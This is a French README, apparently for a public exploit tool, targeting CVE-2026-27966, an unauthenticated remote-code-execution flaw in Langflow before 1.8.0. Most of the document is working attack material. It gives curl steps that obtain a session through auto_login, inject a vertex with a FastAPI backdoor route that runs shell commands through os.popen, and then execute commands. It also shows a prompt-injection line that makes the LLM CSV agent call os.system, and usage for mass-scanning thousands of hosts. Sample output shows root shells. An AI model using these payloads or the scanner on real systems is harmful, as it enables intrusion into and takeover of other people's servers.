
Scanner RCE sans authentification pour Langflow < 1.8.0 — Route Injection + Vertex Injection → Code Execution (CVSS 9.8)
CVE-2026-27966 est une vulnérabilité d'exécution de code à distance de sévérité critique (CVSS 9.8) sans authentification dans les versions de Langflow antérieures à 1.8.0. La vulnérabilité provient de allow_dangerous_code=True codé en dur dans le composant CSV Agent, exposant l'outil python_repl_ast de LangChain à une injection de prompt non authentifiée.
De plus, plusieurs points de terminaison API manquent d'authentification appropriée, permettant l'injection directe de route et l'injection de vertex de flux — même sur des instances où le CSV Agent n'est pas configuré.
| Version Langflow | Statut |
|---|---|
| < 1.8.0 | Vulnérable |
| >= 1.8.0 | Corrigé |
Ce scanner teste trois voies d'exploitation distinctes :
GET /api/v1/auto_login → obtenir une session / clé API
POST /api/v1/custom_component → enregistrer une route backdoor
GET /api/{backdoor}?c=commande → RCE
POST /api/v1/custom_component → enregistrer une route backdoor
GET /api/{backdoor}?c=commande → RCE
GET /api/v1/flows/basic_examples → extraire les UUIDs de flux (26 exposés)
POST /api/v1/build/{UUID}/vertices → injecter un vertex malveillant
POST /api/v1/run/{UUID} → exécuter le code du vertex → RCE
Dans src/lfx/src/lfx/components/langchain_utilities/csv_agent.py, le nœud CSV Agent code en dur allow_dangerous_code=True, ce qui expose automatiquement l'outil python_repl_ast de LangChain :
agent_kwargs = {
"verbose": self.verbose,
"allow_dangerous_code": True, # codé en dur — ne peut être désactivé via l'interface
}
agent_csv = create_csv_agent(..., **agent_kwargs)
Cela permet à toute invite atteignant le CSV Agent d'exécuter du code Python arbitraire via :
Action: python_repl_ast
Action Input: __import__("os").system("commande")
L'API REST Langflow expose plusieurs points de terminaison sans authentification :
| Point de terminaison | Authentification | Données exposées |
|---|---|---|
GET /api/v1/version | Aucune | Version Langflow |
GET /api/v1/health | Aucune | Statut de l'instance |
GET /api/v1/flows/basic_examples/ | Aucune | 26 UUIDs de flux d'exemple + structure |
POST /api/v1/build/{uuid}/vertices | Aucune | Accepte une injection de code arbitraire |
POST /api/v1/users/ | Aucune | Création d'utilisateur (inactive) |
GET /openapi.json | Aucune | Documentation complète de l'API |
Sur les instances où auto_login est activé (par défaut dans de nombreux déploiements Docker), un attaquant obtient une session et une clé API valides :
curl -sk 'https://target.com/api/v1/auto_login'
# Retourne une session avec access_token → accès complet à l'API
Avec une clé API valide, l'attaquant peut utiliser POST /api/v1/custom_component pour enregistrer une route backdoor FastAPI qui persiste en mémoire jusqu'au redémarrage du serveur :
from fastapi import APIRouter, Query
router = APIRouter()
@router.get("/sh")
async def cmd(c: str = Query("")):
import os
return os.popen(c).read()
app.include_router(router, prefix="/api")
| Métrique | Valeur |
|---|---|
| Vecteur d'attaque | Réseau (distant) |
| Complexité d'attaque | Faible |
| Privilèges requis | Aucun |
| Interaction utilisateur | Aucune |
| Périmètre | Inchangé |
| Confidentialité | Élevée |
| Intégrité | Élevée |
| Disponibilité | Élevée |
git clone https://github.com/shinthink/CVE-2026-27966.git
cd CVE-2026-27966
pip install -r requirements.txt
# Cible unique
python cve_2026_27966.py -t target.com:7860
# Scan de masse
python cve_2026_27966.py -f targets.txt
# Scan de masse + sauvegarde des résultats
python cve_2026_27966.py -f targets.txt -o rce.txt
# Détection uniquement (ignorer l'exploitation)
python cve_2026_27966.py -f targets.txt --no-exploit
# Sortie verbose
python cve_2026_27966.py -f targets.txt -v
-t, --target Cible unique (IP:port ou domaine)
-f, --file Liste des cibles, une par ligne
-o, --output Sauvegarder les résultats RCE dans un fichier
--threads Travailleurs concurrents (défaut : 30)
--no-exploit Détection uniquement, ignorer les tentatives RCE
-v, --verbose Afficher tous les résultats, y compris les cibles non-RCE
$ python cve_2026_27966.py -t target.com:7860 -v
CVE-2026-27966 — Langflow RCE Scanner
CVSS 9.8 | Pre-Auth | Route Injection → RCE
Host : target.com:7860
Langflow : YES v1.2.0
Vuln : YES
API Key : NOT REQUIRED
RCE : YES
Output : uid=0(root) gid=0(root) groups=0(root)
Time : 12.3s
CVE-2026-27966 Langflow RCE Scanner
Targets: 4127 | Threads: 30 | Exploit: ON
-------------------------------------------------------
[RCE] 192.168.10.50 v1.2.0 7.3s
uid=0(root) gid=0(root) groups=0(root)
[AUTH] target.internal:4433 v1.2.0 14.1s (clé API)
[500/4127] scanning... (12%)
-------------------------------------------------------
Total: 4127 | Langflow: 47 | RCE: 3 | API-Protected: 41
-------------------------------------------------------
Étape 1 — Détection de Langflow
curl -sk 'https://target.com/api/v1/version'
# {"version":"1.2.0","main_version":"1.2.0","package":"Langflow"}
Étape 2 — Extraction des UUIDs de flux
curl -sk 'https://target.com/api/v1/flows/basic_examples/' | jq '.[0].id'
# "bb0a7390-22a1-4a2e-8d7c-15463e53d9f2"
Étape 3 — Injection du vertex backdoor
curl -sk -X POST 'https://target.com/api/v1/build/{UUID}/vertices' \
-H 'Content-Type: application/json' \
-d '{"id":"bkdr","type":"CustomComponent","data":{"code":"from fastapi import APIRouter\nrouter=APIRouter()\[email protected](\"/sh\")\nasync def cmd(c:str=\"\"):import os;return os.popen(c).read()\napp.include_router(router,prefix=\"/api\")","display_name":"X"}}'
Étape 4 — Exécution de commande
curl -sk 'https://target.com/api/sh?c=id;hostname;uname -a'
Une exploitation réussie aboutit à une exécution de code en tant que root dans le conteneur Docker Langflow. De là, un attaquant peut :